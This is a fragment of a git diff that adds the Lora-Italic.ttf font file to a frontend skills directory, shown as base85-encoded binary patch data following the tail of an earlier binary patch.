zk?A%>38EBB5vHIf1wx2ntwXBBNNCf=y|i_`e@)`5Q7Lip_=d{{1}|H;r9qs1<m8$| z6JPZD584Mt#;;zt{?J&c_ah(aW!OKm_)9)azs|>4WENGNTuJ}W;yv(9Y0xKHUAQl! z8xJY@`?e~0@7zTnO#|;~=#QHW(}WiflgH^nrlW3x?J}Pu4eJ)R=Z;S!+lH!&3Jr{e z!5y%k8kshfhL@u7T0^OoD7=nFbVu2=%Q(1REKC#(^x&cHf$V$5;oZ7Ucl}M4ecRJJ z&K@#etE_QoG5?*spzMvRs}bpxaWNzmRVYQQu?%pGa71lfnZbDNwC(WV_<)O}R!e<d z-qGXt7lq2$unB^+)l^-db(Z}89{WDK&xSDEYLnY8cx_-VoYC!VH1oZ_x@){KWHg(N zgMH(!iqBUSn~i>h(P$`mQ#rvDkGNcsxJk&RyqLMj;sw;njk8=|vzV8-2uWDkoR~h6 zVH_B;!JzTZSzg>6GaF-WQDkB|qF(-76CCyvWWVj2TT>Z8#Or1(wV^l2QAd7rzjlYt znXuvRh(;dF`<SKIGhC0X@0Sr1Wo}US>6?-4GWF8dt@U&`18|b*-B1h+*JIqZH)(99 z<csym1Oyy+Fq8CH6P2~a^44nC&Fp>qfni}6QEau~8cYqf?Bd1_)oKu15`FIAQzq!g zk+`_b)HH*XycC~}ArEk*Ndp7<+DxyRY$~;W#6*2h<r(YVjYCJX>GEY4rlxP)V!24% z!0i-go!dT2pB6o-e=3eetJ|t%15Dgz{D0QjL%pd{#0kE9f@~r|-_*o)8^BM4=wBcD zHv~_OwahB10PI?YDK)B05z4d@=#0WA6pW~KK<Z#W9iK@s5mHe*qWB@))ZSt|#AgQv zv;1&{(4lm0eUD+pIHh%sjCn@3X00KgMlO`Z;&{dZbwxctGcI_n8!u}8D-{+_P{ERh zo^sr&=e&`Khl>y8GI^4ks=t^tI}E{|y302rLe%gFO`Ja!%}BAjw=ZV{?gaX#l?&?x z?l^>58fXH0J4|tHySsLX;vdF?u`nAhi-BsU_=hrEYyiUwy#xBnA;luEJIEiTSMUds zT?fa@fKY-Qm>@^K#C?h42LP9j&F45|5~7JvJVm+W<mKxXOX0nV!9)Z<4Os55c~9b^ zoU}9s8xj0`&(knzqmva)*yoS*){FCF31B$*XLR!UYQYx<p=(DcS%hSPxk9j+4#(Ld z1gq|NfOLieMJyxoHvQmj<*2}u3;EXP_y_she#g|lA08RHW@L!`#s773U!oErRkuJ( zz}T=pDD+bWHJ32Gom~c<)qud1DQ`<2SQ6+zuD2OZdnJ_GyasDQqnQkfI8hUIlCDi^ zz-GcX_tXX_AgM({F25e9P<YWQXAl9E=Re1Pk~hm<f5K{)OwO2H@8t%yL$J4c#k$AP zV+lL`Ib;0nJehPB{gW5hlMN4(JRE+5(XZEZrw4=avA|kR8tb(gblqCL)8}8eGhj2h zNffRYRLL>^QP7p2c`qxJB{1aIfqOBn%q+<4C9z{E_wg(hv@O?I%a2&;Ihqm9TZt8{ zARK)tpygY8csk#)El-n;TYmb}>ROq!zSf}{dRU2e$2K+gM5cd$bHa2jingO#LE#}Q z&y$!{rqh?}c=E@5Ydib@aOa_}<%j-@(kXYlQ=~k4$#83N^x`4%h4$0aD>NHPkY`!9 z*m}yN7vDrLMmnPgJAkjQ7{`0XfHBsXhGArYhjzSG<tl^9>>u*hLx+P8c){8qagLC{ z9pDdem#E8Eo9x8mz}kxN>6FtNvGP`%TB9$gH4bN&rALo^@p3ujt$5e)`?&pxzNDts zN;l?A7my}<$P{^0gieqxF)p4A4u-T+#O&NTrI%&sFmP3!ujO{;*OL-iN9;0^l`+fx z6^n=A#c&Y&@k^W8etw?HOH<?plwYo}@&@cO1Kc>u{}#vC7heZ|{3K`^=MaG>miV_q zyYJ7w?~*o$3BN&Zs)ze}CczJS%B{B;_vR{pWu6;tT$@T451bd<cxZ!pk2uE7IyXC} z;f%<*_r|IBX5PM_!o1PjI(i3-H+uVuoAthmH#G-zqM@%ASQ(y2$Y}T&%CD(ec^&Gv zeE?o(nf-v1RP>lq{|&;*f#vd>N*VqUuz9fd-uel<-z2>1@5$YY6)HyTpvyIgN%kb> zhn-*r_F<j_%$tX4uCb>v`2dNzPA$_L*DXBSyeJeknWEv4Y&J*8CxQ{PB^C<FxCHmO zg}npx7P(*(Yw=Lt>8i$C!B9>_DUxT`*n9bh#iz;j^yheP+gqWwwsqGS{dr=+6v0Z( zss0FBm9@&cQB6x)i9jakA&>H{5n^{uxyUV3M1#+dg1U30NnRtju$EZOPOV#}Fm!01 z9w6VNQl}lFB~ds=+(}Zs*o3cW9WRkdDz&~<BYmXx%_`}~4CPeU;mO;eeZ5!pdDSs^ zI^3&zkbD=>O?X8|oK&3v-a4_;GcBH3Q+lRp_wU5i9z2_6M>qg4uPc?B%+?(zq8fGC z-<$i$=Kj|Fs&5_0kbg<-P`(MNMm2#xWEG1$h_n`sHptibR!Ku9T7N~e-<<!>o{xVV zBTu5<uiN$ZM!{BaJnOmEI-dNEru7i%o#@nqW)>6v7TtxObTbYB9@K8tqb5(NTf0`; zK3lzw?&^FEvj^%!`#V;?S8G4Tr6%7{YgV3wuU*smmNJ7X_U<$>b|ekR8uQkA46Vgf zA0ls%=V8YIKWaip!$fUm-)2$^P7i>`obf8TGTM_!1(J22I@CzSijk-{GU`z~`-|_s zKH|l7G9kDH(K_#R+FSzE^TNE~egc<VxFjl<oWh*oR%Y-?@(O4Nwxzvie)grYo_Hz% z|16Ev8;=)dJbT2aaSl8wLQiHt<ncOuP&0bPL(YKG-tC~p1I#OVZ%vK3V&rDN^(hT` zTz~sjbT{_{OsJ|tzKU%0PqVk%jB91EH+s?E{_G|)G7q<tuYUKhiO_nH(N9)&Jzby$ ztm!Pn%uMSQXEx%tk`cU2*>RaLh%7BDsz9fjl{)Gkn6*bkLj%5Or4%iV#^LgwKdV;V z5l-!{42*kuF1M+*)n2Pw&H1X|netIuA%7;NL`v;Q83GwLUAf*>PR2^E`0!+`cW1p> zZH)AtKhV3o?@DGh?~6GzQm)GTi@`wN8_5Ox;buz~e*`)AK}hr{Ec?$m>{<mR3ks4@ z-Zi!#$V||@m?*L#P%8WUehrVr^+cq}EkhaL=ZMdPyr??PWTP&c*wlJGmkPp>A|x2~ zq!6S>h7Jtn(!mII$z~diFI+Rce-JYq!P4*eb~A07q8EKnZ*J)n?{9MJ`*?J>o?P+% zhI7?#cj-RG{hRS4*0X=4--CyT5pSP3WP-mHrdg<vKO|?*wth}qzv_dJYX8C~==T;j z1?a%S69M{X3l~%rWL!hW!RN7)hw*KAF*&SuZOtK9V862>K*;jva!p&I&qr}6bmAv5 zAJ;n8{>@F$uS+CUjV#PnJbXr?!J16pQJ;KarSw25z$?C39z1Cuo)lx!8bc=>Lv!Kf zBR;^aqTpbF33^DTSo3fqQiy*3L5-fXxNwxW#E)=t-TR2zp#IeNHBQr8fkvDgu`Pmu zrz0dmE;S(PE1CR8ttJq?sBb-OY5ie$%u2jN)o1Vy$zqE;%<W`eKjZAt@b6<7g#i>n z(#D}x`ydjm9ORyD>RnpWCENdk6#2JX&rq`87wG2JJO*8EXg7jAZ{$wC$aoox$N^sD zS;|Y^hO}ai0}o=pkch-F$N>^D=|bcDe$PyiQ;!^II&%h2ENtqdyFa+muU2O#=0g6o z-wJ(SDCnz1ICVmg6C~S@t}z><lg)^F!rXiK^V@cP_^jAOcK!VJm<}iHs^>Q6#=#jo z-u<vceh{2d4G*GMxoOx(*xnmQ419*Wu}iR6xNOQ5;Xyh1wQ~LdxcRiZimD%Mfmxda z^u9s5W6i=32e!mvdYI`S*c|6*b*AX>TC^IIXcPTrjmG36j|^-9d(O}F4Q|1CiSlfZ zFNo|zE~~43-#S3=9%(&Nn=9tGAwEZAE>}6HKIThht<Fru;m@Q^LOSkh?PC?T_Y>Nf z&%up#EI%YV(<}FZd2@@e@~=^5)n6LnHq|Bn@1s=z);YL;fbJM)a{%v|{A}N#G6%Co zhmXyH%PRUUm;<*m2W*o1Fj<&`nI2z2nS-S{`d{q^X8KtJ@4mlkjyhBDyUfwp`%EFI z=78#tXojxkH5{j$$Ui`uG(&DdnODlkR1Z)+l~7i<@2jpu{WgMmwu4|^Bj3f@takmq zsuQ$GPN2S4slQisfEMYMDC@Az5Lh85@cq^3<Ej;eu!KI)uM1GGMzi={w-O~}2E466 zccH9T+MPwYL3f~R7-HCSH_8!=1B6#@<AQSQG3EM)XpTIOdZtc)ZpZizplm^Z)Qbzi zyqCfgkI_&BrzgkTSc)k7;PN6_-t!=|oN1ACc0}cFqehE;Eh#q&`y7tPWyY{bvg;Fe z7ZQkT9Y{kC4KMAolS+Ps)mWeE)QH=0u$nB@;JWOAGTmQoy`qM%R$(enNM>Upx3#n( zka0SDqQ0ER7zsODwZi1e-OW8~PPq%tB*Sk06mrRHl|2ELLqu^GL|F@2g{1E$Pgm}x z-?x$@`^a_l?bgk5>*M4=lw5n~i5Gss-qtmA9r<%)=LS}5vQ+_4P(3{lH?)>RAmNxp zIxS^3U3aDw*JyQ;{*oNy{<~r~Xt&BH8V;>(RRvQGKqLG2oo1b`Ze;xJ@|w&6q=`0F zqC4m>o#`NQXA{BQtr5Dk_|qMB$BIRaw?^m4KKd&BKY_Z?XDCmh!Nw*H<=OIQ686X` zpI1se)%i{55&@}@^oR3HzuD+>^gPwq=<Cdvbb6Jm-yuJ|$>V{53};aKdMe;gr~QEx z>ZfT%^#W&RICvVo9ykemiulkKMw8lN4F|fWXyqbfIEtfEg7sslpGEz5mg-~F%yCYm zozKkc!x58(vzloo`7x{A2(Ll|$Q$*?$o-rj`#bin={UZ@^zmAC9Q<7Q^m=5!r{8MS zc`U8x((}f!Y%~*W<m35+e!JZw2leMAj|d(OLVn3cJpVcxRJAy(GQM~f2dwdYV5dKg zyDjRjd8DZ1%QWcEP7H^vg3q3sW^*!3YvgwHS&P|?%UZT^lKn@>N95z(pQ5!3_vG)n zUm001Il|dlE%Xz#CThR^>C_G6gOM-M-Y?|$UzGhaYB_NlZJd6UQ6`XFyw+Cl;MIRA zIU^RWrD&{(L^YE%U+Qy-vAEOTU&SosXo>hZFKps)w8i&exLz_+U=U0xi8;|YKj*DT zL~aCq<uGifb%zm(BGCf>CgP+ePme5DL#{$BS_||Ow-^o((H)e~rwQcJxF7Vxyl&AP zvwkSr*S3WKfbvMiG9m>dL6=Q3R_vnzPa<qLMCs0Owju~V(Kl2Q1a>$JZ|f=ufIk3d zfo4Y1W)VJ~r&sOR#_pYkk&nPu1Ee+0`mA&tV0D?wmT@eE<A;dPs0H)zJA58$HW6a8 ziax{{Da(B<u8i4ep?QaB)Y*&<;9$f!wg(&{V*jPRUPHIN3(s48oc5|N2ZIM0O+zCq zY84F7U-r8we{mPQRKqo{Kbh&T$}THTMl^@f#~tK2@zH*jj`bf75{R_2!w?CpFVqz` zk>dkBp7dadjU~9)tNQffBaDh>m-}C>?(&3yCcIwgKx5-EuO}Ascmel_N^bpF^~1$y zl)l6f+Z(SPsA#s+7x?|kwbqZ(ms*(h#XrLOl7-WF0P6~TNXf}sjcFL^Y4L*Cx49m* zA(_G<Gf%iX8rvwD(#Bwd($e~=)<T(fnVn{9w@zodVUxCtND;XZw4u#(>uutJK9#*` z=pzA%+Tg77x^K-jaFFOgFCQ8J9(3Bxl11{ZYrS1A^~{Y5gT`dpXLFiO>2MltT|ivq zQL=66U0=W=N)Z=}38Q#9zL%#Ws99M9+%BvE@T*f-0Z^&J6ExaW*Fz?{zRTw~2nMUN zGMsT`WgH2Az--Z5d*DXC)anIiZk6$I#+XiRHNDfSvzvTwZF6<2H_ch{Ha)SJKCs;C zQM3vd($o6-zEphb({ld_n#QW{jO}B;jl7pey8-=@-_@@(uHjSra$Ck&^LqRq<d4y3 ztTneY<hOJOSI@%#^hGlk<eqbtQx=N}Ghv`v@+7wjQZ{s8kh2*ZTzOq2diW;a=Zv4w zv|p4Re&^Z#zTAPmy{q5RI$9tf=JuS{#?s3nyW4HVS6)j&X=CH+H=;!w|C^gZ8<2*V z`f<irp|CP07=xjZP`hmt@ph{b=)-Myi<BMUwU`}lLTmX7BpbI$Z>H@>jtDj*VyD|} zHm#|v+vXMg)lAIg>DJkFm<v7nFvT^|2j5B`&N%HP(thq6XP)r(!}gv&*ICX_&f&h= z-qAsI%e#1K)#v?gZ0H^-ajPes^m#*Z&Y#4Fp7Mu^?cWmfEy%#BTFZT_y*~rsRjXJ9 z&)sZxQln9h7%$=I)^2~;VpW?>SFx3wMSc5HeWf<rZa0Mwn<KK`pmA9_S~!F}jaF;e z*NvH|aa!^O_bT>h*lbSOpV>~0t^MBvR|kfSh(&L0{c~;;65g0$3FWlq-EM<umAqZ! z(LeA@7G!2*yK{iklgGKIFt1B*mfUmvapCWTuXFmjnZzA;;EDe~Xo%7BceuIJ=x~Yk zoJPxx>9lEibTuvizG;Bb`JZq*en&cw5FZRUgnI2>7d2r6wOE}n;r8~_`*7~jWUzGT ze8_G$>Z}I4UC^4ly8(GZ^?U+Hg}Ve@hZ_Et`v!X-(=tF!O+0CT#P{H1c8=beoSkL5 zDOHXW$j3OG!BF_n3Zya7A4#KCQ@^#E&NLiVVPKpS?D<5(DM`*mA`dvX#KnF;Jp1>v zzx-En-1a_s2s|G8-T%zqvzp<Z%I{O}OAZWhcDA0Ie+x}8ME)wNbFZwzq8)b{rWHiI zt@e3Bm^+S#1`~;aP-q~T81P#?F467q(O12Qao!v9)-#FTKuHRv@_AQW(T`=h0QmuU z9>Y6;g$g$f0OeMh2O?9_J}mUuOX6h29Scc<y=*Gmas`J7uP<)15D3+K%yu(k$CRo9 zJ}}yCogiWGJ?5!}xE~B8vt|_p1<tezL7DY>mo6FGtY9d3+LkwNYMrQ2gWxfn^j#YB zO_NwjBr4052+Tu7)ugkkXXtNEmyvFj;HsXH!bt+D{Wk?UoX>}4#)CH_oBKVda<#+P z9g93*zLQg(zbpSg{unZQM}~upo>RPJI&v7wc=x#9k+V<+4nesiN1=?P^-5WhlTe0T z4&{!_f-+PCC`)t;v>abSx$)LBN_|CILAj#b@5m)6!(xW}9f<?wno{n_2q@Q;atG<7 z44(qlUK_2V3;>972Wg@_tYRzuzj&X37x_tYm+DXG&zML4;!hFPm8eE(NcAGOSCJ$& z3i<_QF+8n6_|Kf_i~%A_zUxE*MuP<K^aex~i7@-(tP)266vkA!iuVC_OdPC&^MQ<r z92Cj(m_ir33v&6fm@?E_5~F5=OE7Wg^5iuZgcXrRd2XL|gy&3Nd+Q5Az+vRB{*=$7 z+@PCWZnZ(M`xeQh-z~16*(&Ljq^A#?dPKf;yzkr*SsppJ4_5r7=gX$N!|ER1-mGH8 zuwHTp(9b6J)0M8lKEJ9%Z70v=RJZM3zWX9Zbb$AHbgZX*lV9LHE*<H@S?#&bMRl2f z1yNg1yIA7i;C=2cR+A-geT(I4eRw&0?ZfD-Ac?Cl<dFQ}lnX456{9H7JvEcJc<e=h z8qAOAbwqjmI`mg<PesNg*zUtPMtiL@=!dbccmlM8X~7G%TBVH*+u)*{o*B1KNsh1- zPx0z%A>8lKVMzSnEqMj3QNvYXClv3#YOG+0?IibAxAzWS+|(JH#@RI+t47`3@DOPG SxwPE_zLV_>ke7{+I{yQdd{GDh literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/Lora-Italic.ttf b/skills/frontend-dev/canvas-fonts/Lora-Italic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..e24b69b26b0e14a48fdbb65fd29db51ce1e95aad GIT binary patch literal 139328 zcmdqK2Y6M*+V?#(D~*H{(g`iJP=#~|J(XUhNfQVmBtS?YBp^ja1VlhYupN&_u^tOn z6tNyu1PdT4BG!YbAjJrX*pU7HX4cwkC&=UD`QGQbuJ8NyzW%fBHT9mk?<s3$%`72> z5D^%DLiEkcFSw(_`r|^V9w4#ru%RQSW!>?O5W`vt@!%(YM~uq(Ao#V1glL#3ME&5Q zBRZ#E*JnZ#A>?PoGI_+v?2$*xclmRFJNJ1-vkGVDS6)&<0(S}#w5+6X?rfbJ?$KO> zO3D^YTbwjunGio=)vi}*apBaYJ3m{@&1Bp&OR)%A7<4uF@FQB4&Z@d%(cj9_glOGS zh|s-d6-9+V$;ZbEQSV710*=ipykfSsLI&f%G5!<F3uhIt8^8SlGB-g8|B<sR=2k_{ zSz9SY>Nz2rw4Gg9Ji9bt&2s$L$A92f=~@1y-woUf>G6nguEMGkOGThqAp-PWt)HLv zg?r8U8sh)Ov-I~Kejixhiu783bZ8yQQuTYBy{BkWc#j{2g&%%j-VpV&x!%3>BhS+F zU;BOF7b6s@C~eD6#~x(vqK(-~sQD$ORXV!qRfT0zyGI~3!-csc9UPVPm+QE^1ns8= zLn9BhN{#WH69e^CM9PUGRZ@b!-$tQ4!$jghuTAdQ;rZek5&D~Q^0!4MB?@tyc9&;N z+=-+n;j9x@Vc33axQ&M=Y~>tT$rbKos&mc3Z-3}GkRZBZb`#?<CyGUwOT_h<tHpho z4~T~`9~HYX_lg6UpNQj_--#N`lQN1}V`U@ECNdo}OXgta%gZq*$s){RIU7^+pk%eI zhQ2~Bz+5D+#JpOrz+5RwQLd3|G1tirn77DVG4GIfVBRVJfw@s`#JpENg!!0!9P>%} zB<5zh8S`2BEar1^E9MLG70hk&b<7=dC*~gcF6MjkL(GrlmzdvDMpB-VXE1+~KVzO( zK|-n!6^R+GVlf-4hM0{Mxl_$lE6gO-2J;ft88bs=VrHo<%$}+@X0|H89H0hb4pu`j zhpEY!C8`8-mZBU~rJ9Rbt**dasIJ0XqLyIpSNk!)QeR;nQShdIP(NUvSLcPaI$5dc zYPvPS$XRQa)|gnJB`mET$kQ^u1ircpe=FA-FG6wivwB*+tloqaB3>rx@P756Pgpq) zjb>Zj99oI`RwswHL`REQjekE8t4=tyzerH;J9Gf{FFACe=s`|w|3RX@s&eRhVvK6+ z&>^A~Wo`SZUyBZvEyRAuK1^hajSk&VM2j^xO<k*xW}2|nFqcoM(BNr~y(OB8ehv-K zf>P7`OMhxbD~Apso_L22r2K*$ItWUL98n?4#8fdt6pLA6x_dvE`>EVlV>=wW1gcCF zib~f<A~mWCn=*VA{ULl^*V?hwb-9eVrxSZAaSei(N@A=XuePrev&CF$Y-j#+Nvo0& zv$35^{hte6##M(b!F{MGAfA!LHyyV`?kYq%eiPxaf^w@8^Gz;_v9W#F{1@YEuE}#E zIV~se#l)D1|57L&x<BzI68~)O%b|QR4<e=_W2<B6h}&qcm4-K+dZI{yLyg2*oYhU& z%T1w}2Y)(Gg<=Y(PJ2H0nvX>6bh_E%QbSi!CW)rx{__&Luw0A80yr)v1z%|ng)T8^ z4#cb^=hfs%muxxrI-l8w!z&0kox9Q4mJ?5*>nl;T6}cv6og+KP?Hn6BEw9Xd`PXHx zwLnW?7S~EKleo3)66=KQ<m$^Mbu{L}vQMMjllgab{nyn%pL=)WAB(o<i|(%9x^dUm zOfToT@HX4Yqpin@)Wc-todU;N6SWMzz7xeTa#SH^U|U2^bs1J0>1qwu8r${{5-oA$ zUyVj|B2)$C(wVDIVpY&uFFU*GTyl|e*AnyTlCITSUn|i#UDs=C^bpE@7Pg6^g&SiF z(iS2{j52Nu=reB-_lU>DR`I%cS9~FkiL+A4Fqt5eWUA~X2guQ~P=27gsVdt1HR^VC zzj{)gwUiZXU1mLGJ!5UN-myNizOsI>Jbod5aegiRI{S6^>+3hdZ<60kzxjSw`(5X^ z-tSBQ4F7EZ!Tw|Yi~Z;L?+&;m;Ff@U0v-$acfj$0vw<?OeqdZ+%fL>7S%LY1mj+G< zEDd}paC1;xP>Y~WL6d`K2F(vz8niZOSG^wfZm9RSdJoils@}`NX~E^e3xih#uMfT} z`0?Nuf_DVJAN)n|vEZ{IDkLnVX-KD#ULiw5CWg!inHTbA$i9$+^@rBKzy2?wLqh)* z`cCNn&_iKqVZFl!gpCd>44W19TG)@_ox{6@7laQFzdQWV@aMu`4}UlO)9@qVKZJWC zLLwSPbcpC4F)(6$L`lTlh^r%3N8A?i?*_RIhBg@Aprpav2Jc69i0l%X8#y#`d}K-F z+{mjVAB}u2^0ml4QB9-TM`cFkL=BIc7&RkmUeq;FYoczC_K$85-6XnQbVhV`^x){R z(Z$hoqOXiz850&WJ?5V=n`2&yc`IgL%)!`xu_I&Oh>MFG6;~Kn7B@d`Y24blqj6{A zMSMtnY<!FOOX9QQ^WulbkBcvkzbF3T_-7i{Z&==NVZ-GO*EPJe;X?@x66Pg*op3VY zT%*87eHsmHG`i8>8$H<QsYd^5^md~U8y##^)99DR^&7`E9@qHcCM}wDYLeAtVUy)e zZfbI8lZTodX}YlK*G*40J=ZL#S#+~z&DJ%0tJ#OmzHD})+0ThX62~P@ORP-1GV%Jv zTM{=WZc2P9aaZDJiN_OvZSLPZqWR^`r#G)^{%wn4EnaFF-f~>aX)WipT-@@5mS40y z+VV_GPpjZocebi&-Kurx*4<kdw7#_U*4Eow?`{2Q>%*;2w?3Z~oD`eXA}KW~Cuw-n zl%zRHi<4F+-JG;B>Craz+N@}^zRg{29%-|sZL_x5w!N|K9c>?I`&8SP+U{)oe!Fh% z3ff)T?(%luw=Zu0RQoU6AMMbqLqUfn9oBSsrK5kxejT5>L|qbmN$e#pF4@w_uhWE1 zrJbre{m|*R&VilBcP{EYv-8}}Z*<<>`NPhiCwEHDN?xCQNAii3oRnu%Gg5C(J(zY` z+5_n^>8sN>q#w#?mywduGb2Ca&P<hAk-4Kwn=TJ_9ozM#tdOj`vVQ0`w%e=SJ9S^* z{r4UvJ&yM5*K<qHpL%8V>e=h=-XXmUd%w~ruFs4<Z)SJO{(JU)*-zv|<do*Tn%gRO zVeZ$t-{=08XXS<EjmVpnH#2X3-j=-A^7iC?lHVx5O@3N_@BD%Jm*p4bSLDB5kWjFq zV1M5Zebf4O@4K$=iGF$g?(cV`fAjuV_Fvxr^nd{aMh}=cVDo_A2KF4-f8e5l2L?qB zDjW3dpqB@|HE7@9iovfBerNFh!H0&d87hX>A3AC1-eH-;dJQWWHe}f7VH1Z<8#d?C zz)Qm~Ex)v8_>vJRBOV{|^T=5vw~uNw>h4kh9Cdtj>gb-M`;8tk`nAhaF1vS3%$W6K z8;pH=T!V2_$0v-xZbIaQ8!r#NeBH#biPuc>n{>mZ)06v6K2tcP@QEpDQ+iK%zNl$Y zQqcob#nh^)i>I!fdak&n_}yuPr|m2mRx-Y1T1k1yf|BP;wwLTJ`Lwiu>8R4e(z4P= zOShE1TDq(BqtZjAHKo5!A2j{N869V=nepX}qccv;>^F03SzOt&vX9FCJ!|Q#FJ>Js zZ(6>z{Afj!iW@7ARs1;HZ+6M-%GnENub9((PP;k1<`m4ib<Ss%y($-1-cxyE?#Q`I z=e}3fscJ&iOVx4J&8mA>_pKgUy{vjo_083HR^MN}srtq0x2r#{J~}UC-lg*%pZB5r zKRWOC`7!gm%+H-abpE9IE9XCXMZ^_zu2^`*Z42ar^aZ&KMl6`Lpmf3P1y?LswqV_Y z*B0zq@cDuh3w~Q@Eo`u`>%vJ3w=RlU)Ou0YqU=S37p-1&`=S>YZC~`w;(*1C7I#{l zvv}y@%N9>wT(<b+l|@%By(;#qrB^q<ddt;cU4826-<O0eX}+Z0lBL%)x@OQd6Rw$h zP1!Y1Ee%*YdFfNvCR|&2?T5><mn~ZM^759;J1kFI-hKJ1<?EN<vHafUk1T(B`3uWm zTmH_9z!kA8I<DxpV#JD~6<4gdWyQlQUS9F>iZj=V>jqp`dEK(>Zolr#%CwcsS3a=v zlj|E_pMU+z>({OFU-j6kXIH(v>Wx(&uKIk{H>-YGEmzlD-C%W-)vZ@wvik3<UtE27 zP4t?cYeub^wPyL6$JXpz^U0d;ZV0-e>kX4`n03PgH*C9M-wh|$2CnVAcI4VAYv-)J zbM4L>qi!5><Ln#P-?(pGz`D-s`mUR_ZpFIW*S)arvzx+h8g|o^o0i=4=uP|AH&{Pm z{p$74tpE4=A2$SU2;UI5q1lEu8#-_3vZ42ez8i*axNO6u4J8{YHq75}*M=uIJip<y zo0D(8?dH4b>3DDj`q?8|kC@HXFG$ZJY-3y=Ao}pU(OG1PtHdVRh3C2(<$8G!&uGu_ z^tDeOmETJb&r;1)7d2L`S1+lZ>MixT<!9BmBCSSNORKGwY29pXv>vuzvbOmp(ED}s z%cbWl@|)#X?dS22@^9kb&cAcxYZ@<ay1eOKO@B#@NQ_QQNNk$eA~7j3IWaA<TVh_~ z@Wd+G&&Ly=N!*(FLgLHKqngJyZ_zxdd57kmTBsHQEy7zwwuotw(4uLJ4lVk%nB1bc z_1kTZe*gP#ia7?RG3eow8AWaskMks}bFfi9K@N7y59HUfhG)ch)zrzsi)sfsIA94Y zz{x?9m0@jgb0GX0`L&||&hwk%H^Z;eZ<T+9e}aE2|4t?cOUS`SauAgmpV&At(c~aC zG3!rq(B92K19H&N&B0W1@GUuDmPFlxkVcXZ^E>}fp2hi{Ut(@u<NOEbH=G}DZtrv~ z+ll5pMa7Hy=Z~L1c>cio9p_&c;&<kXe&6E;bBV(z4}Zs;$q6A2J$dL++xpP5LnjVB zcIdW4BM&`ssKcS`L-~ig@y|Gv_T}C$-}~~#FKY;~^~<;~!@mp^;vnG<o;mpK!5s&g zzxurJlb53A1@LrCT(5vn<P^D3t<f=C(H2j+R;(3oC0MPjB(y}2y0lAsi)Ub~BU;nT zwyA4cnYfmM_12r#+tyxdzuz{$9e%s~_G^EB`@m<K@?Yh@)_=XG{`}`(<#qQjCls)M z{-ojksg3GU^}c#qov<3I1L_0yntEM5Wm)Q<>Sgty+N>T@4>Q^ewCbtH)JNpEA*G(k zlW7(@m(4hPIOF5X#O2JxOchs(tEpGZn1@*>?q?q65oTdFqjS%womK<&s#PeSW1P8{ z=jKnu_u?eecE8Dbvc3$LG0ey`k(sh9I^2`Fm;rJkb1_qyiJ7Igt1s0XR=B!HZBob7 zDRo?(QHRtg)+F_*oU8U&5$ZE*hWf$^RsT?TSyQY8^|5-wnyK!TRq9=Jhx(iPyLwzi z(iQ|WdlbPlcD!i9$i6k>^iE>1=*zRm0MU|>c?IL;66TX;S^kX1Zxc6(n;9W*5?9Gw z@g}3>ZOkd{5WB=4@qsuZK4rxGwY0?V!h;%oEE~zTvZ+jz=`zU*VElZk94Lp#p>i5+ zODQeT+q6N?Gx~l<G!pOe)W1(O6CaAk;(avvBSz^5M4C7%lEi1UN#8IJcucerpNpR2 z2cBh4iQeKz(My~WdE!@|-+vaD%0MxcS%QAzyci|}#6WRQ6v!YkLWYRZGE9t-5n`N- z6k}xrF`hZE3Cx*Jl5wI?CWy(hp^O(r%yM2KQ^YjcOw5<bVzJB+*T`<-T4qa^%I;#h z>?KypY;m3JBUZ@XVy)~aZjgP&8d)IjW43Ig94FSxLE>IHLEJ6JihJaE@lRPO9+M^F zaq)~S7h9M|dsbG+JTXVM7k`r@L_P5@u|W=|<vlBUh|^+}4CSe=Ml6(R;(F@-jj}&a zJ-=A9tqN<ZHO(rqCR?RenKj)ivXZS7W{SF6S=67-%p7&Ix>%`JhFl`Akq^rSwA>rz zee!<!fV@lIEgzKE%N241^KsR3o}AAN-c_{lOXan4nOx57-ObF`-6n69x68lDe=uM7 zcjoE-DIbz&<d5<!^J~A;a!RF?rTkQ&iqi9IDn`Z8nl`3SNKno7%o_cJP;KSUDv@5I zg=(o<sV20xtyPfnSCOird_=XAkE-@^lj<NJQyt~w>JoXK3Xn%tsXV5p%Z2h6xmf-t zuaxKH6RMMZQgxP3sbu-IN|BpYs(ePJ$!Ar%+@dn%bE=DcUUii(s4V%S>Ly=O-Q~-w zhkQl#l>bt_<Tlk?zN-4j*HpILu5#rYDo@WPssj0@>MP$;{p8!KzkEjxkh|1CxmyiV z`En04yzi<Za<3XH-&4cn`|47j_lC=TYJ~hyjg<S<DEW~ZEf1*6<i~1^{6vkFpQ>^4 zGc{g*t|rJY)aCNuYN9--CNVqutNc<;mWNcK{7OxcU#lYdjhZSCt73UXO_SfM61i1n z%GXtnJg#QQ6KbY-SQd!~<z(@YoFW>CogzxSB|^lj^lGm&|FxYt^f#FMdX1Uj7wE5F zVkZ4%=Dc2EPWnZ9y~8}Ee=9PW-EAlSEjoxVnb9~TE)ide_Tr!zBK^c5=Gw|-8!=n9 z6Q#1bm?2w=nX;8AldZ*cX7DOy2T>(25!JGjm?xQ=VqW`JIZWIxhl@MpNO7keE&d@d z6L-lm;_q^lcv8*~Psr)wDLGR-Ez8s{wOhTZ-d69>uYRq*;pzBWwcm<kj38+L>sukF zhX|Hy)G}e^6$~0Frxq=!EE8MG3aiR#6IP0#>~Z;tqAWLiB=ZWn!!gSSW{<-hJakZ^ zNFP3QFeVEl*o+)L5K{>H{Sex3J$r6Z5&@J}IPF>k+PFWu1^<a#U>!HsJxrW_CQfgR zPYeH?zQYs6`kWE{62-jSexnk_xWNPS5=E~O!*lfP!XMKNs}pZsUhDsfTgacd)%z2- zAlJ=L_iL1oH!pVic=HlfSXfpiP8MnNSW)5JV)1oR(X83xfHB{mR#{jiwwFyWDHN}; zHdH3I8uMvmZZhVB#@uMkJB)d=G1pd9PAwNJW|vpb5=-V*&z>t5R%u%Iz>@Y}n+=Sa zfT_^)7;|UysYj@iwo#jUMpv(VXp?aVW`Hr3G2@JhoRLuoH6skUvmS<j@0|{zXW1pa zoIU=PqH*BtK)-;K0eb@02P_LH2xuIj{A>K*^q=APh+kLhea3$a={J+q7mRW5P{}HY zc5*hoTQ_3SG3j-r38I5qt8P^5)J=?qH>jJ{E$UWvo4QXur?#r+)eGuH^`SbdepF}G zPwHp&i~3dlrp~F~Sr717O{}I?Gb_<*Zna?C+{$XrxTp;yqjpw%;tp2J6w79eMK(e| zs2&y}j7Xjq;cB1SCnD4*>J!m`zW<Dfv@9!3G_fMA2+@u)cq3|hT^^UI<!XhxPOVhe 